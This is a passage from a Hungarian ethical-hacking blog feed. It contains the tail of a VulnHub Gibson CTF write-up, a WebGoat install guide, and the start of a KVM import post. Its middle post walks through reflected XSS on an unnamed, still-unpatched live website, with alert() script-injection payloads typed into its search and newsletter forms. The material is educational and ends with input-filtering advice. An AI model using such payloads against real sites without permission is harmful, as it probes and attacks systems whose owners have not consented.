http://www.openwall.com/lists/oss-security/2016/05/03/18 so which person can run it. Perhaps the man who knew a lot about Sean Connery in Trainspotting when he wasn&lt;span class=&quot;err&quot;&gt;&amp;#39;&lt;/span&gt;t  causing a &lt;span class=&quot;m&quot;&gt;7&lt;/span&gt; point drop in the NYSE
Exif Version	Exif Version 2.1
FlashPixVersion	FlashPix Version 1.0
Color Space	Internal error &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;unknown value 65535&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Hehe… utalások, utalások… A &lt;code&gt;CVE 2016-3714&lt;/code&gt; volt az ImageMagick sebezhetősége :)
Most nézzük meg közelebbről a &lt;code&gt;flag.img&lt;/code&gt;-t.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#root@gibson:~# file flag.img &lt;/span&gt;
flag.img: Linux rev 1.0 ext2 filesystem data &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;mounted or unclean&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, &lt;span class=&quot;nv&quot;&gt;UUID&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;d59bdd40-ec37-4d24-a956-80f549846121

&lt;span class=&quot;c&quot;&gt;#root@gibson:~# fdisk -l flag.img&lt;/span&gt;
Disk flag.img: &lt;span class=&quot;m&quot;&gt;720&lt;/span&gt; KiB, &lt;span class=&quot;m&quot;&gt;737280&lt;/span&gt; bytes, &lt;span class=&quot;m&quot;&gt;1440&lt;/span&gt; sectors
Units: sectors of &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; * &lt;span class=&quot;nv&quot;&gt;512&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;512&lt;/span&gt; bytes
Sector size &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;logical/physical&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;: &lt;span class=&quot;m&quot;&gt;512&lt;/span&gt; bytes / &lt;span class=&quot;m&quot;&gt;512&lt;/span&gt; bytes
I/O size &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;minimum/optimal&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;: &lt;span class=&quot;m&quot;&gt;512&lt;/span&gt; bytes / &lt;span class=&quot;m&quot;&gt;512&lt;/span&gt; bytes

&lt;span class=&quot;c&quot;&gt;#root@gibson:~# mkdir flag&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;#root@gibson:~# mount -t ext2 /mnt/GARBAGE/flag.img flag&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;#root@gibson:~# cd flag/&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;#root@gibson:~/flag# ll&lt;/span&gt;
total 70
drwxr-xr-x &lt;span class=&quot;m&quot;&gt;4&lt;/span&gt; root root  &lt;span class=&quot;m&quot;&gt;1024&lt;/span&gt; May &lt;span class=&quot;m&quot;&gt;14&lt;/span&gt; 14:07 ./
drwx------ &lt;span class=&quot;m&quot;&gt;4&lt;/span&gt; root root  &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; May &lt;span class=&quot;m&quot;&gt;16&lt;/span&gt; 12:37 ../
-rwxrwxr-x &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; root root &lt;span class=&quot;m&quot;&gt;21358&lt;/span&gt; Nov &lt;span class=&quot;m&quot;&gt;16&lt;/span&gt;  &lt;span class=&quot;m&quot;&gt;2011&lt;/span&gt; davinci*
-rw-r--r-- &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; root root &lt;span class=&quot;m&quot;&gt;28030&lt;/span&gt; Nov &lt;span class=&quot;m&quot;&gt;16&lt;/span&gt;  &lt;span class=&quot;m&quot;&gt;2011&lt;/span&gt; davinci.c
-rw-r--r-- &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; root root   &lt;span class=&quot;m&quot;&gt;159&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;5&lt;/span&gt; 19:56 hint.txt
drwx------ &lt;span class=&quot;m&quot;&gt;2&lt;/span&gt; root root &lt;span class=&quot;m&quot;&gt;12288&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;5&lt;/span&gt; 19:39 lost+found/
drwxr-xr-x &lt;span class=&quot;m&quot;&gt;2&lt;/span&gt; root root  &lt;span class=&quot;m&quot;&gt;1024&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;5&lt;/span&gt; 20:07 .trash/&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Érdekes, lássuk a &lt;code&gt;hint.txt&lt;/code&gt;-t, majd nézzünk bele a &lt;code&gt;.trash&lt;/code&gt; mappába is.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#root@gibson:~/flag# cat hint.txt &lt;/span&gt;
http://www.imdb.com/title/tt0117951/ and
http://www.imdb.com/title/tt0113243/ have
someone in common... Can you remember his
original nom de plume in 1988...?

&lt;span class=&quot;c&quot;&gt;#root@gibson:~/flag# cd .trash/&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;#root@gibson:~/flag/.trash# ls -la&lt;/span&gt;
total 319
drwxr-xr-x &lt;span class=&quot;m&quot;&gt;2&lt;/span&gt; root root   &lt;span class=&quot;m&quot;&gt;1024&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;5&lt;/span&gt; 20:07 .
drwxr-xr-x &lt;span class=&quot;m&quot;&gt;4&lt;/span&gt; root root   &lt;span class=&quot;m&quot;&gt;1024&lt;/span&gt; May &lt;span class=&quot;m&quot;&gt;14&lt;/span&gt; 14:07 ..
---x------ &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; root root    &lt;span class=&quot;m&quot;&gt;469&lt;/span&gt; May &lt;span class=&quot;m&quot;&gt;14&lt;/span&gt; 14:18 flag.txt.gpg
-rw-r--r-- &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; root root &lt;span class=&quot;m&quot;&gt;320130&lt;/span&gt; Sep  &lt;span class=&quot;m&quot;&gt;7&lt;/span&gt;  &lt;span class=&quot;m&quot;&gt;2015&lt;/span&gt; LeithCentralStation.jpg&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Van még itt egy gpg titkosított fájl és ismét egy jpg.
Vizsgáljuk meg először a képet.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/images/LeithCentralStation.png&quot; alt=&quot;leithcs&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Majd jöjjön az EXIF adata.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#root@kali:~# exif -m LeithCentralStation.jpg&lt;/span&gt;
X-Resolution	72
Y-Resolution	72
Resolution Unit	Inch
Exif Version	Exif Version 2.1
FlashPixVersion	FlashPix Version 1.0
Color Space	Internal error &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;unknown value 65535&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Visszatérő utalások a &lt;code&gt;Trainspotting&lt;/code&gt;-ra és az 1988-as és 1995-ös &lt;code&gt;Hackers&lt;/code&gt;-re.
Már csak a gpg titkosított fájl van, de ez további vizsgálatot kíván…&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#root@gibson:~# gpg --output txt --decrypt flag.txt.gpg &lt;/span&gt;
gpg: CAST5 encrypted data
gpg: gpg-agent is not available in this session
gpg: encrypted with &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; passphrase
gpg: decryption failed: bad key&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Lehet hogy az utalásokból ki lehetett volna találnom a &lt;code&gt;passphrase&lt;/code&gt;-t, de majd talán nekifutok egyszer :)&lt;/p&gt;

&lt;p&gt;Ismét köszönöm &lt;a href=&quot;https://www.vulnhub.com/author/knightmare,245&quot;&gt;&lt;code&gt;knightmare&lt;/code&gt;&lt;/a&gt; ezt a nagyszerű kihívást!!! Thanks [&lt;code&gt;knightmare&lt;/code&gt;] !!!
Remekül szórakoztam :)&lt;/p&gt;

</description>
        <pubDate>Mon, 16 May 2016 16:50:05 +0200</pubDate>
        <link>http://www.sysop.hu/blog/ethical_hacking/2016/05/16/vulnhub-gibson-0-2/</link>
        <guid isPermaLink="true">http://www.sysop.hu/blog/ethical_hacking/2016/05/16/vulnhub-gibson-0-2/</guid>
        
        
        <category>ethical_hacking</category>
        
      </item>
    
      <item>
        <title>XSS (Cross Site Scripting) sebezhetőség feltárás</title>
        <description>&lt;p&gt;A &lt;a href=&quot;https://en.wikipedia.org/wiki/Cross-site_scripting&quot;&gt;Cross Site Scripting (továbbiakban XSS)/link&lt;/a&gt; talán az egyik legtöbbször elkövetett fejlesztői hiba. Pedig a megtalálása általában egyszerű, bár akadnak bonyolultabb esetek is.&lt;/p&gt;

&lt;p&gt;Nézzünk egy közepesen látogatott weboldalt. Az oldalt nem nevezem meg, mert a hibát még nem javították.&lt;/p&gt;

&lt;h2 id=&quot;keress-funkci-az-oldalon&quot;&gt;Keresés funkció az oldalon&lt;/h2&gt;

&lt;p&gt;Az oldal kereső mezőjébe írjunk be valamit (ha lehet, akkor olyan kifejezést, ami biztosan nem található az oldalon), pl azt hogy &lt;code&gt;xss&lt;/code&gt;.
&lt;img src=&quot;/blog/images/xss_search1.png&quot; alt=&quot;xss_search1&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Ezen az oldalon, a keresés eredménye nem adott vissza semmit csak egy üres részt a találatok helyén. Se azt hogy nincs találat, se azt hogy van.
Tekintsük meg az oldal forráskódját (CTRL+U) és keressük meg benne a &lt;code&gt;xss&lt;/code&gt; kifejezésünket.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;div&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;content_search&amp;quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
 &lt;span class=&quot;nt&quot;&gt;&amp;lt;form&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;action=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;/kereses&amp;quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;method=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;get&amp;quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
 &lt;span class=&quot;nt&quot;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;text&amp;quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;search&amp;quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;input&amp;quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;xss&amp;quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;placeholder=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;Keresőszó&amp;quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;submit&amp;quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;submit&amp;quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;submit&amp;quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;Keresés&amp;quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
 &lt;span class=&quot;nt&quot;&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Meg is van, az input form &lt;code&gt;value&lt;/code&gt; értéke tartalmazza a keresési kifejezésünket. Most próbáljunk meg kilépni az adatmezőből és az input form-ból.
Írjuk a keresési mezőbe a &lt;code&gt;xss&quot;&amp;gt;&lt;/code&gt; kifejezést. Ha minden jól megy, akkor ebben az esetben a &lt;code&gt;&quot;&lt;/code&gt; lezárja az adat mezőt a kifejezés után, a &lt;code&gt;&amp;gt;&lt;/code&gt; pedig az input form-ot.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/images/xss_search2.png&quot; alt=&quot;xss_search2&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Sikerült is. Láthatjuk, hogy az input form, &lt;code&gt;value&lt;/code&gt; utáni része, így már kívül esik a form-on a html részre, amit a webszerver már sima szövegként jelenít meg.
Nézzük meg, hogyan néz ki ez forráskód szinten (CTRL+U).&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;div&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;content_search&amp;quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
 &lt;span class=&quot;nt&quot;&gt;&amp;lt;form&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;action=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;/kereses&amp;quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;method=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;get&amp;quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
 &lt;span class=&quot;nt&quot;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;text&amp;quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;search&amp;quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;input&amp;quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;xss&amp;quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;&amp;quot; placeholder=&amp;quot;Keresőszó&amp;quot;&amp;gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;submit&amp;quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;submit&amp;quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;submit&amp;quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;Keresés&amp;quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
 &lt;span class=&quot;nt&quot;&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Mivel itt már bizonyossá vált, hogy az oldal sebezhető, lássunk egy látványos &lt;code&gt;alert();&lt;/code&gt; beillesztést a résbe.
A kereső mezőbe írjuk a &lt;code&gt;xss&quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;script&amp;gt;alert(&quot;xss&quot;);&amp;lt;/script&amp;gt;&lt;/code&gt; kifejezést.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/images/xss_search3.png&quot; alt=&quot;xss_search3&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

&lt;p&gt;A keresés eredménye pedig egy input form-on kívüli script futtatást eredményez, ami fel dob egy &lt;code&gt;XSS&lt;/code&gt; alert ablakot.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/images/xss_search4.png&quot; alt=&quot;xss_search4&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;feliratkozs-hrlevlre&quot;&gt;Feliratkozás hírlevélre&lt;/h2&gt;

&lt;p&gt;Lehetséges támadási pont a keresés funkció mellett, a különböző adatbeviteli form-ok, pl. egy hírlevélre feliratkozás.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/images/xss_form1.png&quot; alt=&quot;xss_form1&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Próba képpen adjuk meg a &lt;code&gt;Vezetéknév&lt;/code&gt; mezőben ismét a &lt;code&gt;xss&lt;/code&gt; kifejezést.
Mivel csak ezt a mezőt töltöttünk ki, így kapunk egy figyelmeztetést, a hiányos form-ról, ahol is a &lt;code&gt;Vezetéknév&lt;/code&gt; mezőben ott a kifejezésünk.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/images/xss_form2.png&quot; alt=&quot;xss_form2&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Nézzük meg az oldal forráskódját és keressük meg a kifejezést.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;td&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;input&amp;quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;text&amp;quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;form10&amp;quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;xss&amp;quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;text&amp;quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/td&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Most ismét próbáljuk meg lezárni a &lt;code&gt;value&lt;/code&gt; adatmezőt és az input form-ot, hogy a &lt;code&gt;value&lt;/code&gt; értékadás mögötti rész, kiessen a &lt;code&gt;html&lt;/code&gt; részre.
Írjuk be a &lt;code&gt;xss&quot;&amp;gt;&lt;/code&gt; kifejezést a &lt;code&gt;Vezetéknév&lt;/code&gt; mezőbe és lássuk mi történik.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/images/xss_form3.png&quot; alt=&quot;xss_form3&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Sikerült az input form-ot lerövidíteni és a mögöttes részt kitolni a html részre.
Nézzük meg, hogyan is néz ez ki a forráskódban (CTRL+U).&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;td&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;input&amp;quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;text&amp;quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;form10&amp;quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;xss&amp;quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;&amp;quot; class=&amp;quot;text&amp;quot;&amp;gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;/td&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Most már csak az ismert &lt;code&gt;alert();&lt;/code&gt; beillesztése van hátra a vizsgálat befejezéséhez.
Beírjuk a &lt;code&gt;xss&quot;&amp;gt;&amp;lt;script&amp;gt;alert(&quot;xss&quot;);&amp;lt;/script&amp;gt;&lt;/code&gt; kifejezést a &lt;code&gt;Vezetéknév&lt;/code&gt; mezőbe.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/images/xss_form4.png&quot; alt=&quot;xss_form4&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Az eredmény ismét egy látványos &lt;code&gt;XSS&lt;/code&gt; felugró ablak, vagyis a form sebezhető!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/images/xss_form5.png&quot; alt=&quot;xss_form5&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Ha az oldal nem statikus lenne, akkor a sebezhetőséget kihasználva akár &lt;code&gt;php&lt;/code&gt; kód is futtatható lenne a biztonsági résen keresztül.
Az Cross Site Scripting (XSS) sebezhetőség és a form-ok rései könnyen kihasználhatóak, megelőzni a beviteli mezők megfelelő filterezésével lehetséges.&lt;/p&gt;

</description>
        <pubDate>Sun, 15 May 2016 15:29:09 +0200</pubDate>
        <link>http://www.sysop.hu/blog/ethical_hacking/2016/05/15/xss-sebezhetoseg-feltaras/</link>
        <guid isPermaLink="true">http://www.sysop.hu/blog/ethical_hacking/2016/05/15/xss-sebezhetoseg-feltaras/</guid>
        
        
        <category>ethical_hacking</category>
        
      </item>
    
      <item>
        <title>WebGoat telepítése Debian 8.3-ra</title>
        <description>&lt;p&gt;A WebGoat egy java-ban írt web applikáció, kifejezetten sérülékenység vizsgálatra etikus hekkereknek. Segítségével feltárható és megismerhető pár sebezhetőség és 
kihasználásuknak a módja. Pl.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Cross-site scripting (XSS)&lt;/li&gt;
  &lt;li&gt;Access Control&lt;/li&gt;
  &lt;li&gt;Thread Safety&lt;/li&gt;
  &lt;li&gt;Hidden Form Field Manipulation&lt;/li&gt;
  &lt;li&gt;Parameter Manipulation&lt;/li&gt;
  &lt;li&gt;Weak Session Cookies&lt;/li&gt;
  &lt;li&gt;Blind SQL Injection&lt;/li&gt;
  &lt;li&gt;Numeric SQL Injection&lt;/li&gt;
  &lt;li&gt;String SQL Injection&lt;/li&gt;
  &lt;li&gt;Web Services&lt;/li&gt;
  &lt;li&gt;Fail Open Authentication&lt;/li&gt;
  &lt;li&gt;Dangers of HTML Comments&lt;/li&gt;
  &lt;li&gt;… stb&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;telepts&quot;&gt;Telepítés&lt;/h2&gt;

&lt;p&gt;Vegyünk egy teljesen alap telepítésű Debian 8.3-at. Semmi extra, maximum egy openssh, hogy ssh-n keresztül hozzáférjünk.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# apt-get install openssh-server&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A WebGoat-nak semmi másra nincs szüksége, mint egy Java JRE futtató környezetre, telepítsük tehát és ellenőrizzük.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# apt-get install default-jre&lt;/span&gt;
...
&lt;span class=&quot;c&quot;&gt;# java -version&lt;/span&gt;
java version &lt;span class=&quot;s2&quot;&gt;&amp;quot;1.7.0_95&amp;quot;&lt;/span&gt;
OpenJDK Runtime Environment &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;IcedTea 2.6.4&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;7u95-2.6.4-1~deb8u1&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
OpenJDK Client VM &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;build 24.95-b01, mixed mode, sharing&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Készítsünk neki egy tetszés szerinti mappát.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# mkdir webgoat&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Most töltsük le a legfrissebb WebGoat-ot, ami jelenleg a 7.0.1 az elkészített mappába.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# cd webgoat&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# wget https://github.com/WebGoat/WebGoat/releases/download/7.0.1/webgoat-container-7.0.1-war-exec.jar&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ezek után nincs más hátra mint elindítani.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# java -jar webgoat-container-7.0.1-war-exec.jar&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ha mindent jól csináltunk, akkor a böngészőnkbe beírva a &lt;code&gt;http://&amp;lt;ip cím&amp;gt;:8080/WebGoat&lt;/code&gt; címet már láthatjuk is a kezdő oldalát.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/images/webgoat_login.png&quot; alt=&quot;webgoat_login&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Illetve belépés után a főképernyőt.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/images/webgoat_main.png&quot; alt=&quot;webgoat_main&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

</description>
        <pubDate>Wed, 30 Mar 2016 22:24:52 +0200</pubDate>
        <link>http://www.sysop.hu/blog/ethical_hacking/2016/03/30/webgoat-install-debian/</link>
        <guid isPermaLink="true">http://www.sysop.hu/blog/ethical_hacking/2016/03/30/webgoat-install-debian/</guid>
        
        
        <category>ethical_hacking</category>
        
      </item>
    
      <item>
        <title>OVA, VMDK vagy VDI fájl importálása KVM alá</title>
        <description>&lt;p&gt;Az OVA (Open Virtualization Archive) fájl az egy tömörített virtuális gép. A VMDK (Virtual Machine Disk) )a VMware virtuális diszk formátuma. A VDI (VirtualBox Disk 
Image) pedig az Oracle VirtualBox diszk formátuma. Ha KVM alá szeretnénk ezeket felcsatolni, akkor ezt nagyon könnyen megtehetjük. Vizsgáljuk meg először is az OVA 
fájlunkat.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# file SmashTheTux.ova &lt;/span&gt;
